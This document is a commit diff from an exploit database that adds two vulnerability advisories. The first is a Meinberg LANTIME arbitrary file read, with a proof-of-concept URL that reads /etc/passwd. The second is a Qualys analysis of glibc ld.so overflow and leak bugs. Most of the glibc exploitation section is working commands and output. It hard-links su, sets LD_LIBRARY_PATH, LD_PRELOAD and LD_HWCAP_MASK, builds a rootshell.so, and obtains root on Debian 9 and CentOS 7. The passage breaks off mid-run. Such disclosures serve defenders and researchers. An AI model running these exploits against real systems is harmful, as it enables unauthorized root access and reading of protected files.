DB: 2017-12-14
2 changes to exploits/shellcodes glibc ld.so - Memory Leak / Buffer Overflow Meinberg LANTIME Web Configuration Utility 6.16.008 - Arbitrary File Read
This commit is contained in:
Offensive Security
parent
d07aa0ed2a
commit
0f0a6efff9
3 changed files with 562 additions and 0 deletions
39
exploits/cgi/webapps/43332.txt
Normal file
39
exploits/cgi/webapps/43332.txt
Normal file
|
|
@ -0,0 +1,39 @@
|
||||||
|
Title: Meinberg LANTIME Web Configuration Utility - Arbitrary File Read
|
||||||
|
Author: Jakub Palaczynski
|
||||||
|
CVE: CVE-2017-16787
|
||||||
|
|
||||||
|
|
||||||
|
Exploit tested on:
|
||||||
|
==================
|
||||||
|
|
||||||
|
Meinberg LANTIME Web Configuration Utility 6.16.008
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability affects:
|
||||||
|
======================
|
||||||
|
All LTOS6 firmware releases before 6.24.004
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability:
|
||||||
|
**************
|
||||||
|
|
||||||
|
Arbitrary File Read:
|
||||||
|
====================
|
||||||
|
|
||||||
|
It is possible to read arbitrary file on the system with root permissions
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
First instance:
|
||||||
|
https://host/cgi-bin/mainv2?value=800&showntpclientipinfo=xxx&ntpclientcounterlogfile=/etc/passwd&lcs=xxx
|
||||||
|
Info-User user is able to read any file on the system with root permissions.
|
||||||
|
|
||||||
|
Second instance:
|
||||||
|
User with Admin-User access is able to read any file on the system via
|
||||||
|
firmware update functionality. Curl accepts "file" schema which actually
|
||||||
|
downloads file from the filesystem. Then it is possible to download
|
||||||
|
/upload/update file which contains content of requested file.
|
||||||
|
|
||||||
|
Contact:
|
||||||
|
========
|
||||||
|
|
||||||
|
Jakub[dot]Palaczynski[at]gmail[dot]com
|
||||||
521
exploits/linux/local/43331.txt
Normal file
521
exploits/linux/local/43331.txt
Normal file
|
|
@ -0,0 +1,521 @@
|
||||||
|
Qualys Security Advisory
|
||||||
|
|
||||||
|
Buffer overflow in glibc's ld.so
|
||||||
|
|
||||||
|
|
||||||
|
========================================================================
|
||||||
|
Contents
|
||||||
|
========================================================================
|
||||||
|
|
||||||
|
Summary
|
||||||
|
Memory Leak
|
||||||
|
Buffer Overflow
|
||||||
|
Exploitation
|
||||||
|
Acknowledgments
|
||||||
|
|
||||||
|
|
||||||
|
========================================================================
|
||||||
|
Summary
|
||||||
|
========================================================================
|
||||||
|
|
||||||
|
We have discovered a memory leak and a buffer overflow in the dynamic
|
||||||
|
loader (ld.so) of the GNU C Library (glibc):
|
||||||
|
|
||||||
|
- the memory leak (CVE-2017-1000408) first appeared in glibc 2.1.1
|
||||||
|
(released on May 24, 1999) and can be reached and amplified through
|
||||||
|
the LD_HWCAP_MASK environment variable;
|
||||||
|
|
||||||
|
- the buffer overflow (CVE-2017-1000409) first appeared in glibc 2.5
|
||||||
|
(released on September 29, 2006) and can be triggered through the
|
||||||
|
LD_LIBRARY_PATH environment variable.
|
||||||
|
|
||||||
|
Further investigation showed that:
|
||||||
|
|
||||||
|
- the buffer overflow is not exploitable if
|
||||||
|
/proc/sys/fs/protected_hardlinks is enabled (it is not enabled by
|
||||||
|
default on vanilla Linux kernels, but most Linux distributions turn it
|
||||||
|
on by default);
|
||||||
|
|
||||||
|
- the memory leak and the buffer overflow are not exploitable if the
|
||||||
|
glibc is patched against CVE-2017-1000366, because this patch ignores
|
||||||
|
the LD_HWCAP_MASK and LD_LIBRARY_PATH environment variables when SUID
|
||||||
|
binaries are executed (CVE-2017-1000366 was first patched in glibc
|
||||||
|
2.26, released on August 2, 2017, but most Linux distributions had
|
||||||
|
already backported this patch on June 19, 2017).
|
||||||
|
|
||||||
|
We have therefore rated the impact of these vulnerabilities as Low.
|
||||||
|
Nevertheless, we give a brief analysis of the vulnerable function, and
|
||||||
|
present a simple method for exploiting a SUID binary on the command line
|
||||||
|
and obtaining full root privileges (if /proc/sys/fs/protected_hardlinks
|
||||||
|
is not enabled, and CVE-2017-1000366 is not patched).
|
||||||
|
|
||||||
|
|
||||||
|
========================================================================
|
||||||
|
Memory Leak (CVE-2017-1000408)
|
||||||
|
========================================================================
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
Analysis
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
In _dl_init_paths(), ld.so malloc()ates "rtld_search_dirs.dirs[0]", a
|
||||||
|
cache of information about the system's trusted directories (typically
|
||||||
|
"/lib" and "/usr/lib" on 32-bit or "/lib64" and "/usr/lib64" on 64-bit).
|
||||||
|
To compute the number of system directories, ld.so uses the classic C
|
||||||
|
idiom "sizeof (system_dirs) / sizeof (system_dirs[0])":
|
||||||
|
|
||||||
|
691 rtld_search_dirs.dirs[0] = (struct r_search_path_elem *)
|
||||||
|
692 malloc ((sizeof (system_dirs) / sizeof (system_dirs[0]))
|
||||||
|
693 * round_size * sizeof (struct r_search_path_elem));
|
||||||
|
|
||||||
|
Unfortunately, "system_dirs" is not a classic array: it is not an array
|
||||||
|
of strings (pointers to characters), but rather an array of characters,
|
||||||
|
the concatenation of all system directories, separated by null bytes:
|
||||||
|
|
||||||
|
109 static const char system_dirs[] = SYSTEM_DIRS;
|
||||||
|
|
||||||
|
where "SYSTEM_DIRS" is generated by "gen-trusted-dirs.awk" (typically
|
||||||
|
"/lib/\0/usr/lib/" on 32-bit or "/lib64/\0/usr/lib64/" on 64-bit). As a
|
||||||
|
result, the number of system directories is overestimated, and too much
|
||||||
|
memory is allocated for "rtld_search_dirs.dirs[0]": if "system_dirs" is
|
||||||
|
"/lib/\0/usr/lib/" for example, the number of system directories is 2,
|
||||||
|
but 16 is used instead (the number of characters in "system_dirs") to
|
||||||
|
compute the size of "rtld_search_dirs.dirs[0]".
|
||||||
|
|
||||||
|
This extra memory is never accessed, never freed, and mostly filled with
|
||||||
|
null bytes, because only the information about "nsystem_dirs_len" system
|
||||||
|
directories (the correct number of system directories) is written to
|
||||||
|
"rtld_search_dirs.dirs[0]", and because the minimal malloc()
|
||||||
|
implementation in ld.so calls mmap(), but never munmap().
|
||||||
|
|
||||||
|
Moreover, this memory leak can be amplified through the LD_HWCAP_MASK
|
||||||
|
environment variable, because ld.so uses "ncapstr" (the total number of
|
||||||
|
hardware-capability combinations) to compute the size of
|
||||||
|
"rtld_search_dirs.dirs[0]":
|
||||||
|
|
||||||
|
687 round_size = ((2 * sizeof (struct r_search_path_elem) - 1
|
||||||
|
688 + ncapstr * sizeof (enum r_dir_status))
|
||||||
|
689 / sizeof (struct r_search_path_elem));
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
History
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
We tracked down this vulnerability to:
|
||||||
|
|
||||||
|
commit ab7eb292307152e706948a7b19164ff5e6d593d4
|
||||||
|
Date: Mon May 3 21:59:35 1999 +0000
|
||||||
|
|
||||||
|
Update.
|
||||||
|
|
||||||
|
* elf/Makefile (trusted-dirs.st): Use gen-trusted-dirs.awk.
|
||||||
|
* elf/gen-trusted-dirs.awk: New file.
|
||||||
|
* elf/dl-load.c (systems_dirs): Moved into file scope. Initialize
|
||||||
|
from SYSTEM_DIRS macro.
|
||||||
|
(system_dirs_len): New variable. Contains lengths of system_dirs
|
||||||
|
strings.
|
||||||
|
(fillin_rpath): Rewrite for systems_dirs being a simple string.
|
||||||
|
Improve string comparisons. Change parameter trusted to be a flag.
|
||||||
|
Change all callers.
|
||||||
|
(_dt_init_paths): Improve using new format for system_dirs.
|
||||||
|
|
||||||
|
which transformed "system_dirs" from an array of strings (pointers to
|
||||||
|
characters) into an array of characters:
|
||||||
|
|
||||||
|
- static const char *system_dirs[] =
|
||||||
|
- {
|
||||||
|
-#include "trusted-dirs.h"
|
||||||
|
- NULL
|
||||||
|
- };
|
||||||
|
...
|
||||||
|
+static const char system_dirs[] = SYSTEM_DIRS;
|
||||||
|
|
||||||
|
|
||||||
|
========================================================================
|
||||||
|
Buffer Overflow (CVE-2017-1000409)
|
||||||
|
========================================================================
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
Analysis
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
In _dl_init_paths(), ld.so computes "nllp", the number of
|
||||||
|
colon-separated directories in "llp" (the LD_LIBRARY_PATH environment
|
||||||
|
variable), malloc()ates "env_path_list.dirs", an array of "nllp + 1"
|
||||||
|
pointers to "r_search_path_elem" structures (one for each directory in
|
||||||
|
"llp", plus a terminating NULL pointer), and calls fillin_rpath() to
|
||||||
|
fill in "env_path_list.dirs":
|
||||||
|
|
||||||
|
777 if (llp != NULL && *llp != '\0')
|
||||||
|
778 {
|
||||||
|
779 size_t nllp;
|
||||||
|
780 const char *cp = llp;
|
||||||
|
781 char *llp_tmp;
|
||||||
|
...
|
||||||
|
803 nllp = 1;
|
||||||
|
804 while (*cp)
|
||||||
|
805 {
|
||||||
|
806 if (*cp == ':' || *cp == ';')
|
||||||
|
807 ++nllp;
|
||||||
|
808 ++cp;
|
||||||
|
809 }
|
||||||
|
810
|
||||||
|
811 env_path_list.dirs = (struct r_search_path_elem **)
|
||||||
|
812 malloc ((nllp + 1) * sizeof (struct r_search_path_elem *));
|
||||||
|
...
|
||||||
|
819 (void) fillin_rpath (llp_tmp, env_path_list.dirs, ":;",
|
||||||
|
820 __libc_enable_secure, "LD_LIBRARY_PATH",
|
||||||
|
821 NULL, l);
|
||||||
|
|
||||||
|
Unfortunately, ld.so parses the "llp" string to compute "nllp" but
|
||||||
|
parses the "llp_tmp" string (an expanded copy of "llp") to fill in
|
||||||
|
"env_path_list.dirs". As a result, the number of pointers written to
|
||||||
|
"env_path_list.dirs" can be greater than "nllp + 1" (an mmap()-based
|
||||||
|
buffer overflow) if the contents of "llp_tmp" differ from the contents
|
||||||
|
of "llp" (if "llp_tmp" contains more colons than "llp"):
|
||||||
|
|
||||||
|
784 /* Expand DSTs. */
|
||||||
|
785 size_t cnt = DL_DST_COUNT (llp, 1);
|
||||||
|
786 if (__glibc_likely (cnt == 0))
|
||||||
|
787 llp_tmp = strdupa (llp);
|
||||||
|
788 else
|
||||||
|
789 {
|
||||||
|
790 /* Determine the length of the substituted string. */
|
||||||
|
791 size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
|
||||||
|
792
|
||||||
|
793 /* Allocate the necessary memory. */
|
||||||
|
794 llp_tmp = (char *) alloca (total + 1);
|
||||||
|
795 llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
|
||||||
|
796 }
|
||||||
|
|
||||||
|
The Dynamic String Tokens (DSTs) $LIB and $PLATFORM are expanded to
|
||||||
|
fixed strings that do not contain colons (typically "lib" and "i686" on
|
||||||
|
32-bit or "lib64" and "x86_64" on 64-bit), but the expansion of $ORIGIN
|
||||||
|
(the directory of the binary being executed) can inject extra colons
|
||||||
|
into "llp_tmp" and hence extra pointers into "env_path_list.dirs".
|
||||||
|
|
||||||
|
To exploit this buffer overflow, a local attacker must therefore be able
|
||||||
|
to:
|
||||||
|
|
||||||
|
- hard-link a SUID binary into a directory whose pathname contains
|
||||||
|
colons (i.e., /proc/sys/fs/protected_hardlinks must not be enabled);
|
||||||
|
|
||||||
|
- pass the LD_LIBRARY_PATH environment variable to _dl_init_paths()
|
||||||
|
(i.e., CVE-2017-1000366 must not be patched).
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
History
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
We tracked down this vulnerability to:
|
||||||
|
|
||||||
|
commit 950398e1320255572f4228db94344dcd5f613455
|
||||||
|
Date: Tue Aug 29 01:44:27 2006 +0000
|
||||||
|
|
||||||
|
* elf/dl-load.c (_dl_init_paths): Expand DSTs.
|
||||||
|
|
||||||
|
which added the expansion of llp's Dynamic String Tokens (DSTs) to
|
||||||
|
_dl_init_paths():
|
||||||
|
|
||||||
|
- char *llp_tmp = strdupa (llp);
|
||||||
|
+ char *llp_tmp;
|
||||||
|
...
|
||||||
|
+ /* Expand DSTs. */
|
||||||
|
+ size_t cnt = DL_DST_COUNT (llp, 1);
|
||||||
|
+ if (__builtin_expect (cnt == 0, 1))
|
||||||
|
+ llp_tmp = strdupa (llp);
|
||||||
|
+ else
|
||||||
|
+ {
|
||||||
|
+ /* Determine the length of the substituted string. */
|
||||||
|
+ size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
|
||||||
|
+
|
||||||
|
+ /* Allocate the necessary memory. */
|
||||||
|
+ llp_tmp = (char *) alloca (total + 1);
|
||||||
|
+ llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
|
||||||
|
+ }
|
||||||
|
|
||||||
|
|
||||||
|
========================================================================
|
||||||
|
Exploitation
|
||||||
|
========================================================================
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
Debian 9 (i386)
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
In this example, we exploit the SUID-root binary "su" on a 32-bit Debian
|
||||||
|
9.0: we installed "debian-9.0.0-i386-xfce-CD-1.iso" (the last release
|
||||||
|
before glibc's CVE-2017-1000366 was patched), and manually disabled
|
||||||
|
protected_hardlinks ("echo 0 > /proc/sys/fs/protected_hardlinks").
|
||||||
|
|
||||||
|
1/ First, we identify the system's trusted directories (the only
|
||||||
|
directories accepted by fillin_rpath() when executing a SUID binary):
|
||||||
|
|
||||||
|
$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
|
||||||
|
1607: find library=nonexistent [0]; searching
|
||||||
|
1607: search cache=/etc/ld.so.cache
|
||||||
|
1607: search path=/lib/i386-linux-gnu/tls/i686:/lib/i386-linux-gnu/tls:/lib/i386-linux-gnu/i686:/lib/i386-linux-gnu:/usr/lib/i386-linux-gnu/tls/i686:/usr/lib/i386-linux-gnu/tls:/usr/lib/i386-linux-gnu/i686:/usr/lib/i386-linux-gnu:/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib (system search path)
|
||||||
|
1607: trying file=/lib/i386-linux-gnu/tls/i686/nonexistent
|
||||||
|
1607: trying file=/lib/i386-linux-gnu/tls/nonexistent
|
||||||
|
1607: trying file=/lib/i386-linux-gnu/i686/nonexistent
|
||||||
|
1607: trying file=/lib/i386-linux-gnu/nonexistent
|
||||||
|
1607: trying file=/usr/lib/i386-linux-gnu/tls/i686/nonexistent
|
||||||
|
1607: trying file=/usr/lib/i386-linux-gnu/tls/nonexistent
|
||||||
|
1607: trying file=/usr/lib/i386-linux-gnu/i686/nonexistent
|
||||||
|
|
||||||
|
The "system search path" line shows four system directories:
|
||||||
|
"/lib/i386-linux-gnu", "/usr/lib/i386-linux-gnu", "/lib", and "/usr/lib"
|
||||||
|
("tls" and "i686" are default hardware capabilities that are enabled
|
||||||
|
even if LD_HWCAP_MASK is 0).
|
||||||
|
|
||||||
|
2/ Second, we create our $ORIGIN directory and hard-link the SUID-root
|
||||||
|
binary "su" into it:
|
||||||
|
|
||||||
|
$ mkdir -p '/var/tmp/:/lib:/usr/lib:'
|
||||||
|
|
||||||
|
$ cd '/var/tmp/:/lib:/usr/lib:'
|
||||||
|
|
||||||
|
$ ln `which su` .
|
||||||
|
|
||||||
|
The pathname of our $ORIGIN directory contains two system directories:
|
||||||
|
we will write 12 bytes (3 pointers: one for each system directory, plus
|
||||||
|
a terminating NULL pointer) to an 8-byte "env_path_list.dirs" ("nllp" is
|
||||||
|
only 1, because our unexpanded LD_LIBRARY_PATH does not contain colons).
|
||||||
|
In other words, we will overflow "env_path_list.dirs" and write 4 bytes
|
||||||
|
(the terminating NULL pointer) out of bounds.
|
||||||
|
|
||||||
|
3/ Third, we overwrite this out-of-bounds NULL pointer with the first
|
||||||
|
bytes of an error message ("cannot open shared object file") that is
|
||||||
|
malloc()ated after "env_path_list.dirs" because of our "nonexistent"
|
||||||
|
preload library. Consequently, ld.so crashes when open_path() tries to
|
||||||
|
open our second preload library "rootshell.so" in a directory described
|
||||||
|
by an "r_search_path_elem" structure located at the unmapped address
|
||||||
|
0x6e6e6163 (the overwritten NULL pointer):
|
||||||
|
|
||||||
|
$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
$ dmesg | tail -n 1
|
||||||
|
[70632.888695] su[2293]: segfault at 6e6e6173 ip b77e1c43 sp bfc946dc error 4 in ld-2.24.so[b77db000+22000]
|
||||||
|
|
||||||
|
The "/../../../../../../../../$LIB" suffix is required, to pass the
|
||||||
|
"check_for_trusted" test in _dl_dst_substitute() (our expanded
|
||||||
|
LD_LIBRARY_PATH must be rooted in one of the system's trusted
|
||||||
|
directories).
|
||||||
|
|
||||||
|
4/ Next, we copy the library dependencies of "su" to our current working
|
||||||
|
directory, and compile our preload library "rootshell.so" ("la.c" can be
|
||||||
|
found at the beginning of our stack-clash exploit "Linux_ldso_hwcap.c"):
|
||||||
|
|
||||||
|
$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .
|
||||||
|
|
||||||
|
$ cat > la.c << "EOF"
|
||||||
|
> static void __attribute__ ((constructor)) _init (void) {
|
||||||
|
> ...
|
||||||
|
> // setuid(0);
|
||||||
|
> ...
|
||||||
|
> // execve("/bin/sh");
|
||||||
|
> ...
|
||||||
|
> }
|
||||||
|
> EOF
|
||||||
|
$ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c
|
||||||
|
|
||||||
|
$ chmod u+s rootshell.so
|
||||||
|
|
||||||
|
This "chmod" is required, to pass the SUID-bit test in open_path().
|
||||||
|
|
||||||
|
5/ Last, we run "su" with an increasing number of hardware capabilities
|
||||||
|
(i.e., with an increasingly large "rtld_search_dirs.dirs[0]"), until the
|
||||||
|
"rtld_search_dirs.dirs[0]" occupies the address 0x6e6e6163. Because this
|
||||||
|
"rtld_search_dirs.dirs[0]" is mostly filled with null bytes, and because
|
||||||
|
an "r_search_path_elem" structure filled with null bytes is equivalent
|
||||||
|
to the current working directory in open_path(), ld.so will eventually
|
||||||
|
load and execute our "rootshell.so" from the current working directory:
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m0.715s
|
||||||
|
user 0m0.120s
|
||||||
|
sys 0m0.588s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m1.443s
|
||||||
|
user 0m0.368s
|
||||||
|
sys 0m1.072s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m2.840s
|
||||||
|
user 0m0.656s
|
||||||
|
sys 0m2.172s
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<23)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m5.778s
|
||||||
|
user 0m1.200s
|
||||||
|
sys 0m4.576s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<24)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m11.589s
|
||||||
|
user 0m2.520s
|
||||||
|
sys 0m9.060s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
# id; exit
|
||||||
|
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)
|
||||||
|
|
||||||
|
real 0m28.050s
|
||||||
|
user 0m6.140s
|
||||||
|
sys 0m21.892s
|
||||||
|
|
||||||
|
6/ Improvements in the running time of this exploit are left as an
|
||||||
|
exercise for the interested reader:
|
||||||
|
|
||||||
|
$ env -i LD_LIBRARY_PATH=. LD_PRELOAD=nonexistent LD_HWCAP_MASK="$(((1<<25)-1))" LD_DEBUG=libs env 2>&1 | head -c 1000
|
||||||
|
3084: find library=nonexistent [0]; searching
|
||||||
|
3084: search path=./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mc
|
||||||
|
|
||||||
|
$ mkdir -p './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'
|
||||||
|
|
||||||
|
$ mv -- *.so* './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
|
||||||
|
# id; exit
|
||||||
|
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)
|
||||||
|
|
||||||
|
real 0m23.485s
|
||||||
|
user 0m5.244s
|
||||||
|
sys 0m18.220s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'os-release' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
|
||||||
|
# id; exit
|
||||||
|
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)
|
||||||
|
|
||||||
|
real 0m11.352s
|
||||||
|
user 0m2.844s
|
||||||
|
sys 0m8.388s
|
||||||
|
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
CentOS 7 (i386)
|
||||||
|
------------------------------------------------------------------------
|
||||||
|
|
||||||
|
In this example, we exploit "su" on a 32-bit CentOS 7.3.1611: we
|
||||||
|
installed "CentOS-7-i386-Minimal-1611.iso" (the last release before
|
||||||
|
CVE-2017-1000366 was patched), and manually disabled protected_hardlinks
|
||||||
|
("echo 0 > /proc/sys/fs/protected_hardlinks").
|
||||||
|
|
||||||
|
$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
|
||||||
|
17896: find library=nonexistent [0]; searching
|
||||||
|
17896: search cache=/etc/ld.so.cache
|
||||||
|
17896: search path=/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib (system search path)
|
||||||
|
17896: trying file=/lib/tls/i686/nonexistent
|
||||||
|
17896: trying file=/lib/tls/nonexistent
|
||||||
|
17896: trying file=/lib/i686/nonexistent
|
||||||
|
17896: trying file=/lib/nonexistent
|
||||||
|
17896: trying file=/usr/lib/tls/i686/nonexistent
|
||||||
|
17896: trying file=/usr/lib/tls/nonexistent
|
||||||
|
17896: trying file=/usr/lib/i686/nonexistent
|
||||||
|
|
||||||
|
$ mkdir -p '/var/tmp/:/lib:/usr/lib:'
|
||||||
|
|
||||||
|
$ cd '/var/tmp/:/lib:/usr/lib:'
|
||||||
|
|
||||||
|
$ ln `which su` .
|
||||||
|
|
||||||
|
$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
$ dmesg | tail -n 1
|
||||||
|
[ 8414.911000] su[18088]: segfault at 6e6e6173 ip b77645e2 sp bfe0cb40 error 4 in ld-2.17.so[b775f000+1f000]
|
||||||
|
|
||||||
|
$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .
|
||||||
|
|
||||||
|
$ cat > la.c << "EOF"
|
||||||
|
> static void __attribute__ ((constructor)) _init (void) {
|
||||||
|
> ...
|
||||||
|
> // setuid(0);
|
||||||
|
> ...
|
||||||
|
> // execve("/bin/sh");
|
||||||
|
> ...
|
||||||
|
> }
|
||||||
|
> EOF
|
||||||
|
$ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c
|
||||||
|
|
||||||
|
$ chmod u+s rootshell.so
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m0.527s
|
||||||
|
user 0m0.085s
|
||||||
|
sys 0m0.441s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m1.060s
|
||||||
|
user 0m0.182s
|
||||||
|
sys 0m0.877s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m2.093s
|
||||||
|
user 0m0.384s
|
||||||
|
sys 0m1.702s
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
|
||||||
|
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
|
||||||
|
Segmentation fault
|
||||||
|
|
||||||
|
real 0m17.071s
|
||||||
|
user 0m2.525s
|
||||||
|
sys 0m14.537s
|
||||||
|
|
||||||
|
$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<26)-1))" ./su
|
||||||
|
